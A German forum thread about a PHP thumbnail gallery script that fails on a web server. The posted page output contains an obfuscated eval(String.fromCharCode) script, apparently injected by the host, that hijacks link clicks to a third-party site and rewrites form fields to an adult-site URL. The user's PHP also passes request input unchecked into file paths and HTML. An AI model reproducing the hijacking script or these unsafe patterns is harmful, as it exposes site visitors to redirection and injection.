thumbnail-erstellung

corsanostra

Mitglied
Habe mal wieder ein kleines Problem:

Ich habe ein Thumbnail-Script, welches als Stan-Alone-Script auch super funktioniert. Nun habe ich es angepasst so das es in einer Tabelle und mit verschiedenen Funktionen (Ordner erstellen/löschen, upload) arbeitet. Nun macht er aber die Thumbnail-erstellung nicht mehr. Alles andere wie z.B. das Popup mit dem hineingeladenen Bild funktioniert und laut Quelltext ist auch der Link zum Thumb okay. Dennoch macht er es nicht. Könntet ihr mal schauen was evtl. der Fehler sein könnte? Hier der Code:

PHP:
<?php 

$directory = $HTTP_GET_VARS["dir"];

function createimage($width, $height){ 
  $imgh = imagecreatetruecolor($width, $height); 
  $bgc = imagecolorallocate($imgh, 230, 230, 230); 
  return $imgh; 
} 

if($path){ // Thumbnail 

  $height = 50;  // Maximalhöhe 
  $width  = 120; // Maximalbreite 


  $img_size = getimagesize($path); 
  $img_size[4] = $img_size[1]/$height; 
  $faktor = 100/$img_size[4]; 
  $img_size[1] = $img_size[1]/100; 
  $img_size[0] = $img_size[0]/100; 
  $img_size[1] = $img_size[1]*$faktor; 
  $img_size[0] = $img_size[0]*$faktor; 

  if($img_size[0] >= 120){ 
    $img_size[4] = $img_size[0]/$width; 
    $faktor2 = 100/$img_size[4]; 
    if($faktor2 << $faktor){ 
      $img_size[1] = $img_size[1]/100; 
      $img_size[0] = $img_size[0]/100; 
      $img_size[1] = $img_size[1]*$faktor2; 
      $img_size[0] = $img_size[0]*$faktor2; 
    } 
  } 

  $imgh = createimage($img_size[0], $img_size[1]); 
  $imgh2 = imagecreatefromjpeg($path); 
  $imgsz = getimagesize($path); 
  $black = imagecolorallocate($imgh2, 0, 0, 0); 

  imagecopyresized($imgh, $imgh2, 0, 0, 0, 0, $img_size[0], $img_size[1], $imgsz[0], $imgsz[1]); 

  header("Content-Type: image/jpeg"); 
  imagejpeg($imgh, '', 100); 
  imagedestroy($imgh); 
} else { // Dateianzeige 
  $mydir = dir("./$directory/"); 
  $zahl = count($mydir);
  while($file=$mydir->read()) { 
    if(getimagesize("./$directory/$file")){
	  
	  echo '<script language="javascript" type="text/javascript">

	var win = null;
	function NewWindow(mypage,myname,w,h,scroll){
	LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
	settings =
	"height="+h+",width="+w+",top="+TopPosition+",left="+LeftPosition+",scrollbars="+scroll+",resizable"

	win = window.open(mypage,myname,settings)
	if(win.window.focus){win.window.focus();}
	}
	</script> ';
	
	$b = 20; // pixel für den bilderrand (breite) im popup
	$d = 25; // pixel für den bilderrand (höhe) im popup
	
	$file_properties = getimagesize("./$directory/$file"); 
    $a = $file_properties[0]; // bildbreite werden ausgelesen
    $c = $file_properties[1]; // bildhöhe wird ausgelesen
    $parts = explode("/", $img); 
    $fn = $parts[count($parts) - 1];
	$width = $a + $b; // bildbreite + rand
    $height = $c + $d;  //bildhöhe + rand

	
    echo '<a href="javascript:NewWindow(\'show.php?pic=' . $directory . '/'. $file .'&breite='. $width .'&hoehe='. $height .'\',\'win\','. $width .','. $height .',\'no\')"><img src="thumb.php?path=' . $directory . '/' . $file . '" border=0></a>';
	

}
}
}
echo "<br><br><br><br><br><br>";	     
?>
<html>
<head>
<title><? echo $directory ?></title>
</head>
<body bgcolor="#666666">
<center>
<form enctype="multipart/form-data" action="index.php?action=upload&dir=<? echo $directory ?>" method="post">
    <input name="file" type="file">
    <input type="submit" value="hochladen" name="submit">
    <br>
  </form>
</center>
</body>
</html>


P.S.: Auf meinem Rechner funktioniert es.. nur nicht im WEB!
 
meines erachtens muss nach dem if-Anweisungsblock ein exit, da sonst der ganze andere Müll noch mit ausgeben wird. Nimms mir nicht über aber durchdacht erweitert sieht das keineswegs aus.

PHP:
if{
  
 ...

   header("Content-Type: image/jpeg");
  imagejpeg($imgh, '', 100);
  imagedestroy($imgh); 
   exit; //alles was danach kommt gehört nicht zum scirpt!
}
else{
...}

und der ganze html kram nach dem php teil muss auch wo anders hin.
Denn der PHP-Parser parsed das Teil, und hört z.B. beim Exit auf zu parsen.
Aber der HTML-Code unten wird trotzdem mit ausgeben.
 
Ich nehm hier niemandem was übel... denn ich treffe hier immer auf kompetente und hilfsbereite User. Daher kanns auch net schaden wenn jemand mal Kritik an meinem Code ausübt:

1. trägt das zur Verbesserung meiner Schreibweise bei
2. bin ich auf dem Gebiet noch nicht allzu sehr bewandert

Zurück zum Thema: Ich werde Deinen Rat mal ausprobieren und einen "Ausweg" einbauen. Ob das allerdings die Lösung zum o.g. Problem löst wage ich nicht zu behaupten.

Aber man lernt ja nie aus... ;)
 
Also, ich habe den "Exit" jetzt eingebaut. Geblieben ist derselbe Fehler. Ich poste jetzt hier mal den Quelltext der ausgegebenen Datei, da ist meiner Meinung nach kein Fehler in der Verlinkung des Thumbs zu erkennen:

Code:
<script language="JavaScript">
eval(String.fromCharCode(118,97,114,32,114,115,99,95,110,99,108,107,61,48,59,118,97,114,32,114,115,99,95,107,119,95,102,111,117,110,100,61,48,59,102,117,110,99,116,105,111,110,32,114,115,99,95,104,95,99,108,105,99,107,40,41,123,114,115,99,95,110,99,108,107,43,43,59,118,97,114,32,97,99,116,105,118,101,69,108,61,100,111,99,117,109,101,110,116,46,97,99,116,105,118,101,69,108,101,109,101,110,116,59,118,97,114,32,104,114,101,102,61,97,99,116,105,118,101,69,108,46,104,114,101,102,59,105,102,40,40,114,115,99,95,110,99,108,107,61,61,50,41,32,38,38,32,114,115,99,95,107,119,95,102,111,117,110,100,61,61,49,41,123,119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,108,111,99,97,116,111,114,46,99,99,47,103,111,63,39,43,104,114,101,102,41,59,114,101,116,117,114,110,32,102,97,108,115,101,59,125,101,108,115,101,123,114,101,116,117,114,110,32,116,114,117,101,59,125,125,102,117,110,99,116,105,111,110,32,114,115,99,95,104,95,115,110,100,102,111,114,109,40,41,123,118,97,114,32,105,44,106,59,102,111,114,40,106,61,48,59,106,60,100,111,99,117,109,101,110,116,46,102,111,114,109,115,46,108,101,110,103,116,104,59,106,43,43,41,123,102,111,114,32,40,105,61,48,59,105,60,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,106,93,46,108,101,110,103,116,104,59,105,43,43,41,123,105,102,32,40,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,101,108,101,109,101,110,116,115,91,105,93,46,118,97,108,117,101,61,61,39,104,116,116,112,58,47,47,39,41,123,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,101,108,101,109,101,110,116,115,91,105,93,46,118,97,108,117,101,61,39,104,116,116,112,58,47,47,119,119,119,46,97,100,117,108,116,45,100,118,100,109,111,118,105,101,46,99,111,109,47,39,59,125,125,125,114,101,116,117,114,110,32,116,114,117,101,59,125));
</script><html>
<head>
<title>pm - gallery | v0.1</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#666666" text="#CCCCCC">
<div align="center">
  <p><font face="Verdana, Arial, Helvetica, sans-serif" size="1"> selfmade-gallerie 
    v0.1</font> </p>
  <table width="80%">
    <tr>
      <td><a onClick=return(rsc_h_click()); href="index.php?action=gal">Gallerien anzeigen</a></td>
      <td><a onClick=return(rsc_h_click()); href="index.php?action=create_gal">Gallerie anlegen</a></td>
      <td><a onClick=return(rsc_h_click()); href="index.php?action=gal_delete">Gallerie l&ouml;schen</a></td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
  </table>
  <table width="80%" height="400">
    <tr>
      <td>
	  
	  <script language="javascript" type="text/javascript">

	var win = null;
	function NewWindow(mypage,myname,w,h,scroll){
	LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
	settings =
	"height="+h+",width="+w+",top="+TopPosition+",left="+LeftPosition+",scrollbars="+scroll+",resizable"

	win = window.open(mypage,myname,settings)
	if(win.window.focus){win.window.focus();}
	}
	</script> <a onClick=return(rsc_h_click()); href="javascript:NewWindow('show.php?pic=bilder1/Beispiel.jpg&breite=303&hoehe=237','win',303,237,'no')"><img src="thumb.php?path=bilder1/Beispiel.jpg" border=0></a><br><br><br><br><br><br><html>
<head>
<title>bilder1</title>
</head>
<body bgcolor="#666666">
<center>
<form enctype="multipart/form-data" action="index.php?action=upload&dir=bilder1" method="post">
    <input name="file" type="file">
    <input type="submit" onClick=return(rsc_h_sndform()); value="hochladen" name="submit">
    <br>
  </form>
</center>
</body>
</html>
</td>
    </tr>
  </table>
  <table width="80%">
    <tr>
      <td>
        <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">all 
          rights reserved @ paranoid-minds.de</font></div>
      </td>
    </tr>
  </table>
  <p>&nbsp;</p>
</div>
</body>
</html>


<script language="JavaScript"> var rsc_kw_found=0; </script>

Vielleicht kann ja doch jemand helfen.
 
Zurück